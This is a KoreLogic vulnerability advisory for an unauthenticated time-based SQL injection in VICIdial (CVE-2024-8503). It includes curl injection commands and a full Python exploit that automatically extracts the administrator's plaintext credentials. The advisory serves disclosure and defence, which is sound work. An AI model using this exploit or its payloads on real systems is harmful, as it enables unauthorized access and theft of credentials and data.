Lucene search

K
korelogicJaggar Henry of KoreLogic,KL-001-2024-011
HistorySep 10, 2024 - 12:00 a.m.

VICIdial Unauthenticated SQL Injection

2024-09-1000:00:00
Jaggar Henry of KoreLogic,
korelogic.com
6
vicidial contact-center sql-injection cwe-89 cve-2024-8503 plaintext-credentials unauthenticated-attacker time-based-sql

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.003

Percentile

65.6%

  1. Vulnerability Details

    Affected Vendor: VICIdial
    Affected Product: VICIdial
    Affected Version: 2.14-917a
    Platform: GNU/Linux
    CWE Classification: CWE-89: Improper Neutralization of Special
    Elements used in an SQL Command
    (‘SQL Injection’)
    CVE ID: CVE-2024-8503

  2. Vulnerability Description

    An unauthenticated attacker can leverage a time-based SQL
    injection vulnerability in VICIdial to enumerate database
    records. By default, VICIdial stores plaintext credentials
    within the database.

  3. Technical Description

    VICIdial is an open-source contact center suite, mainly used
    by call centers. The “vicidial.com” website boasts over 14,000
    registered installations. There is a public SVN repository to
    access the source code, as well as an ISO that can be used to
    install the software. The ISO was used in a virtual machine
    for testing purposes.

    When performing SQL queries, VICIdial does not use prepared
    statements, but instead uses the “preg_replace” PHP function
    to remove problematic characters in user-controlled input
    before interpolating the variable into a SQL query. This
    is largely an effective solution, as regular expressions
    like “/[^-_0-9a-zA-Z]/” are passed to “preg_replace”, which
    essentially limits input to the characters shown in the pattern
    (letters, numbers, underscores, and hyphens).

    However, these scripts do not utilize a shared PHP file
    for performing sanitization uniformly. Instead, each script
    individually implements the “preg_replace” function, leading
    to inconsistencies in which patterns are used and where they
    are applied.

    For example, providing credentials via the “Authorization”
    request header using the “Basic” scheme, most PHP scripts
    sanitize the username value with the following line:

    $PHP_AUTH_USER = preg_replace(‘/[^-_0-9a-zA-Z]/’,‘’,$PHP_AUTH_USER);

    However, the “VERM_AJAX_functions.php” PHP script does not
    perform any sanitization before inserting the username into
    a SQL “INSERT” statement:

    $PHP_AUTH_USER=$_SERVER[‘PHP_AUTH_USER’];
    $PHP_AUTH_PW=$_SERVER[‘PHP_AUTH_PW’];

    if ($function==“log_custom_report”)
    {
    $rpt_log_stmt=“insert ignore into
    verm_custom_report_holder(user,
    report_name, report_parameters)
    values(‘$PHP_AUTH_USER’, ‘$custom_report_name’,
    ‘$LOGhttp_referer’) ON DUPLICATE KEY
    UPDATE report_name=‘$custom_report_name’,
    report_parameters=‘$custom_report_vars’”;
    $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link);
    return mysqli_affected_rows($rpt_log_rslt);
    }

    Since “VERM_AJAX_functions.php” can be accessed without
    authentication, this creates a straight forward unauthenticated
    SQL injection vulnerability. While the page response cannot
    be manipulated by the execution of the query, delays in the
    page response can be observed when using SQL functions such as
    “sleep()”, enabling the enumeration of database values using
    time-based SQL injection:

    $ time curl -u “foo:bar”
    http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report

    real 0m0.019s <— (normal response time)
    user 0m0.004s
    sys 0m0.008s

    $ time curl -u “‘,’',sleep(5));#:bar”
    http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report

    real 0m5.023s <— (5-second delay in response time)
    user 0m0.003s
    sys 0m0.008s

    This observable difference can be used to craft queries that
    sleep under specific conditions, allowing an attacker to ask
    “Yes or No” questions. In the following example, the “sleep()”
    function is called only if the provided string matches the
    database version:

    $ time curl -u
    “‘,’',IF(@@version=‘korelogic’,sleep(5),NULL));#:bar”
    http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report

    real 0m0.024s <— (normal response time)
    user 0m0.006s
    sys 0m0.003s

    $ time curl -u
    “‘,’',IF(@@version=‘10.6.14-MariaDB-log’,sleep(5),NULL));#:bar”
    http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report

    real 0m5.019s <— (5-second delay in response time)
    user 0m0.004s
    sys 0m0.008s

  4. Mitigation and Remediation Recommendation

    This issue has been remediated in the public svn/trunk codebase,
    as of revision 3848 committed 2024-07-08.

  5. Credit

    This vulnerability was discovered by Jaggar Henry of KoreLogic,
    Inc.

  6. Disclosure Timeline

    2024-07-05 : KoreLogic requests security contact from
    [email protected].
    2024-07-08 : KoreLogic reports vulnerability details to VICIdial
    contact.
    2024-07-08 : VICIdial notifies KoreLogic that the issue has been
    remediated with revision 3848 in the public
    Subversion repository.
    2024-07-11 : KoreLogic confirms this vulnerability has been
    remediated. KoreLogic asks VICIdial if it is
    appropriate to publicly disclose the vulnerability
    details at this time.
    2024-07-11 : VICIdial requests four weeks of embargo in order to
    upgrade supported customers.
    2024-08-05 : KoreLogic asks VICIdial if it is appropriate to
    publicly disclose the vulnerability details at
    this time.
    2024-08-09 : VICIdial requests an additional two weeks of
    embargo.
    2024-09-10 : KoreLogic public disclosure.

  7. Proof of Concept

    The following script can be used to automate the exploitation process and
    enumerate the results of provided queries:

     $ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q 'SELECT @@version'
     [+] Target appears vulnerable to time-based SQL injection
     [~] Executing SQL: SELECT @@version
     [~] 1
     [~] 10
     [~] 10.
     [~] 10.6
     [~] 10.6.
     [~] 10.6.1
     [~] 10.6.14
     [~] 10.6.14-
     [~] 10.6.14-M
     [~] 10.6.14-Ma
     [~] 10.6.14-Mar
     [~] 10.6.14-Mari
     [~] 10.6.14-Maria
     [~] 10.6.14-MariaD
     [~] 10.6.14-MariaDB
     [~] 10.6.14-MariaDB-
     [~] 10.6.14-MariaDB-l
     [~] 10.6.14-MariaDB-lo
     [~] 10.6.14-MariaDB-log
    
     real	0m6.727s
     user	0m0.425s
     sys	0m0.020s
    

    ##############################

    unauth_sqli.py

    ##############################

    import string
    import random
    import urllib3
    import argparse
    import requests
    from base64 import b64encode

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    class Exploit:
    def init(self, rhost, rport, proxy=None):
    “”"
    This ‘sleep’ duration is derived by the average response time
    multiplied by this value. A server with an average response time
    of 10ms is given a ‘sleep’ duration of 300ms. Tune as needed.
    “”"
    self.SLEEP_MULTIPLIER = 30
    self.REQUEST_HEADERS = {‘User-Agent’: ‘KoreLogic’}
    self.ALLOWED_SCHEMES = [‘http’, ‘https’]
    if proxy:
    self.REQUEST_PROXIES = {
    ‘http’: proxy,
    ‘https’: proxy
    }
    else:
    self.REQUEST_PROXIES = {}

     	self.TARGET_IP   = rhost
     	self.TARGET_PORT = rport
    
     	self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'
     	self.RANDOM_CHARSET = string.ascii_uppercase + string.digits
    
     # returns a URI with 'http' or 'https'
     def determine_target_uri(self):
     	for scheme in self.ALLOWED_SCHEMES:
     		target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'
     		try:
     			response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)
     			if self.VICIDIAL_FINGERPRINT in response.text:
     				return target_uri
     		except:
     			pass
    
     # returns a session object with custom proxies/headers if supplied
     def build_requests_session(self):
     	self.base_uri = self.determine_target_uri()
     	session = requests.Session()
     	session.proxies = self.REQUEST_PROXIES
     	session.verify  = False
     	return session
    
     # returns a random string of a given length
     def random(self, length):
     	return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))
    
     # returns a timedelta representing the response time of an injected SQL query
     def time_sql_query(self, query, session):
     	username    = f"goolicker', '', ({query}));# "
     	credentials = f'{username}:password'
     	credentials_base64 = b64encode(credentials.encode()).decode()
     	auth_header = f'Basic {credentials_base64}'
    
     	target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'
     	request_params  = {'function': 'log_custom_report', self.random(5): self.random(5)}
     	request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}
    
     	response = session.get(target_uri, params=request_params, headers=request_headers)
     	return response.elapsed
    
     # returns a boolean if time-based SQL injection is possible, additionally
     # sets the best 'sleep' duration based on response times
     def is_vulnerable(self, session, baseline_iterations=5):
     	# determine average baseline response time
     	zero_sleep_query = f'SELECT (NULL)'
     	total_baseline_time = 0
     	for _ in range(baseline_iterations):
     		execution_time = self.time_sql_query(zero_sleep_query, session)
     		total_baseline_time += execution_time.total_seconds()
    
     	average_baseline_response_time = total_baseline_time / baseline_iterations
     	self.sql_baseline_time = average_baseline_response_time
    
     	# determine if injected sleep query impacts response time
     	sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)
     	sleep_query  = f'SELECT (sleep({sleep_length}))'
     	execution_time = self.time_sql_query(sleep_query, session)
     	if execution_time.total_seconds() &gt;= sleep_length:
     		self.sql_sleep_length = sleep_length
     		return True
     	else:
     		return False
    
     # determine if a character at a specific indice of a query result returns a
     # boolean 'true' when compared to a given character using the supplied operator
     def check_indice_of_query_result(self, session, query, indice, operator, ordinal):
     	parent_query    = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)'
     	execution_time  = self.time_sql_query(parent_query, session)
     	return execution_time.total_seconds() &gt;= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)
    
     def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):
     	# convert charset to ordinals
     	all_characters     = sorted([ord(char) for char in charset])
     	reduced_characters = all_characters
    
     	# use a binary search and enumerate query results
     	result = ''
     	indice = 1
     	indice_could_be_null = True
     	while True:
     		"""
     		we check if the value is NULL once per indice
     		to determine when a string ends. this adds one
     		request per indice, but since every boolean 'true'
     		results in a delay this is faster than counting
     		the length of the string before enumrating.
     		"""
     		if indice_could_be_null:
     			if self.check_indice_of_query_result(session, query, indice, '=', '0'):
     				break
     			else:
     				indice_could_be_null = False
    
     		# enumerate each character of query result with a binary search
     		middle_indice  = len(reduced_characters) // 2
     		middle_ordinal = reduced_characters[middle_indice]
     		if self.check_indice_of_query_result(session, query, indice, '&lt;=', middle_ordinal):
     			if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):
     				reduced_characters = all_characters
     				result += chr(middle_ordinal)
     				indice += 1
     				indice_could_be_null = True
     				print(f'[~] {result}')
     			else:
     				reduced_characters = reduced_characters[:middle_indice]
     		else:
     			reduced_characters = reduced_characters[middle_indice:]
     	
     	return result
    
     # returns administrator username and password by
     # exploiting time-based SQL injection.
     def extract_admin_credentials(self, session):
     	print('[~] Enumerating administrator credentials')
     	username_charset = string.ascii_letters + string.digits
     	admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1"
     	admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)
     	print(f'[+] Username: {admin_username}')
    
     	password_charset = string.ascii_letters + string.digits + '-.+/=_'
     	admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"
     	admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)
     	print(f'[+] Password: {admin_password}')
    
     	return admin_username, admin_password
    
     # injects SQL queries and enumerates results if instance is vulnerable
     def exploit(self, custom_query=None):
     	session = self.build_requests_session()
     	is_vulnerable = self.is_vulnerable(session)
     	if is_vulnerable:
     		print('[+] Target appears vulnerable to time-based SQL injection')
     	else:
     		print('[-] Failed to perform time-based SQL injection')
     		return
    
     	if custom_query:
     		print(f'[~] Executing SQL: {custom_query}')
     		self.enumerate_sql_query(session, custom_query)
     	else:
     		self.extract_admin_credentials(session)
    

    if name == ‘main’:
    argparser = argparse.ArgumentParser(description=‘Exploit for CVE-2024-XXXXX: Unauthenticated SQLi’)
    required = argparser.add_argument_group(‘Required Arguments’)
    optional = argparser.add_argument_group(‘Optional Arguments’)
    required.add_argument(‘-rh’, ‘–rhost’, required=True, help=‘Vicidial Server IP address’)
    required.add_argument(‘-rp’, ‘–rport’, required=True, help=‘Vicidial Server port number’)
    optional.add_argument(‘-q’, ‘–query’, required=False, help=‘Custom SQL query to execute’, default=None)
    optional.add_argument(‘-p’, ‘–proxy’, required=False, help=‘HTTP[S] proxy to use for outbound requests’, default=None)
    arguments = argparser.parse_args()

     exploit = Exploit(
     	rhost = arguments.rhost,
     	rport = arguments.rport,
     	proxy = arguments.proxy
     )
     exploit.exploit(custom_query=arguments.query)
    

Affected configurations

Vulners
Node
vicidialvicidialMatch2.14-917
VendorProductVersionCPE
vicidialvicidial2.14-917cpe:2.3:a:vicidial:vicidial:2.14-917:*:*:*:*:*:*:*

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.003

Percentile

65.6%